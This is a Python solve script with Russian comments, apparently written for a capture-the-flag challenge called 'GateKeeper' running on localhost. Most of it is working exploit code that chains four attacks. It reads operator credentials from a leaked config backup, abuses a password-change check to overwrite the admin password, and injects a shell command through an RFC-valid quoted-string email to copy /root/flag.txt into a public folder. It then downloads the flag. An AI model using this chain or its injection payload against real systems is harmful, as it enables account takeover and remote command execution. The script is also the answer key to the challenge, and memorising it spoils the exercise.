#!/usr/bin/env python3 # solve.py — автоматическое решение задания GateKeeper (только stdlib). # # Проходит все 4 слоя: # 1. Info leak: GET /static/config.json.bak -> креды operator # 2. Auth bypass: POST /account/password (old_password сверяется с ЛЮБЫМ # пользователем) -> меняем пароль admin, логинимся как admin # 3. Cmd inject: POST /admin/directory/sync с RFC 5322 quoted-string email # '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local' # 4. Exfil: GET /public/f.txt -> флаг # # Запуск: python solve.py http://localhost:18113 import json import re import sys import urllib.request import urllib.error import http.cookiejar PAYLOAD_EMAIL = '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local' EXFIL_PATH = "/public/f.txt" FLAG_RE = re.compile(r"CAPLAG\{[^}\r\n]+\}") def make_client(base): cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) def req(method, path, body=None): data = None headers = {} if body is not None: data = json.dumps(body).encode() headers["Content-Type"] = "application/json" r = urllib.request.Request(base + path, data=data, headers=headers, method=method) try: with opener.open(r, timeout=15) as resp: return resp.status, resp.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") return req def step(msg): print(f"[*] {msg}") def ok(msg): print(f"[+] {msg}") def die(msg): print(f"[-] FAIL: {msg}") sys.exit(1) def main(): if len(sys.argv) != 2: print(f"usage: python {sys.argv[0]} http://localhost:PORT") sys.exit(2) base = sys.argv[1].rstrip("/") req = make_client(base) # --- Слой 1: info leak --- step(f"слой 1: читаем {base}/static/config.json.bak") code, text = req("GET", "/static/config.json.bak") if code != 200: die(f"config.json.bak недоступен (HTTP {code})") m = re.search(r'"operator"\s*:\s*\{[^}]*?"password"\s*:\s*"([^"]+)"', text, re.S) if not m: die("пароль operator не найден в бэкапе конфига") op_user, op_pass = "operator", m.group(1) ok(f"утёкшие креды: {op_user}:{op_pass}") # --- Логин operator --- step("логинимся как operator") code, text = req("POST", "/login", {"username": op_user, "password": op_pass}) if code != 200: die(f"login operator: HTTP {code}: {text}") ok("сессия operator получена") # --- Слой 2: auth bypass в смене пароля --- step("слой 2: меняем пароль admin, предъявляя СВОЙ (operator) пароль как old_password") new_admin_pass = "gk_pwned_2026" code, text = req("POST", "/account/password", { "username": "admin", "old_password": op_pass, # BUG: сверяется с паролем ЛЮБОГО пользователя "new_password": new_admin_pass, }) if code != 200: die(f"auth bypass не сработал: HTTP {code}: {text}") ok("пароль admin перезаписан (old_password сверен с чужой учёткой)") # --- Логин admin --- step("логинимся как admin") code, text = req("POST", "/login", {"username": "admin", "password": new_admin_pass}) if code != 200: die(f"login admin: HTTP {code}: {text}") ok("сессия admin получена") # --- Слой 3: command injection через RFC-valid email --- step(f"слой 3: инъекция через quoted-string email: {PAYLOAD_EMAIL}") code, text = req("POST", "/admin/directory/sync", {"email": PAYLOAD_EMAIL}) if code != 200: die(f"sync: HTTP {code}: {text}") ok(f"payload принят (RFC-валиден, фильтр обойдён): {text.strip()}") # --- Слой 4: эксфильтрация --- step(f"слой 4: забираем флаг: GET {base}{EXFIL_PATH}") code, text = req("GET", EXFIL_PATH) if code != 200: die(f"эксфильтрация не удалась: HTTP {code}") m = FLAG_RE.search(text) if not m: die(f"файл получен, но флага нет: {text!r}") ok("флаг получен!") print() print(m.group(0)) if __name__ == "__main__": main()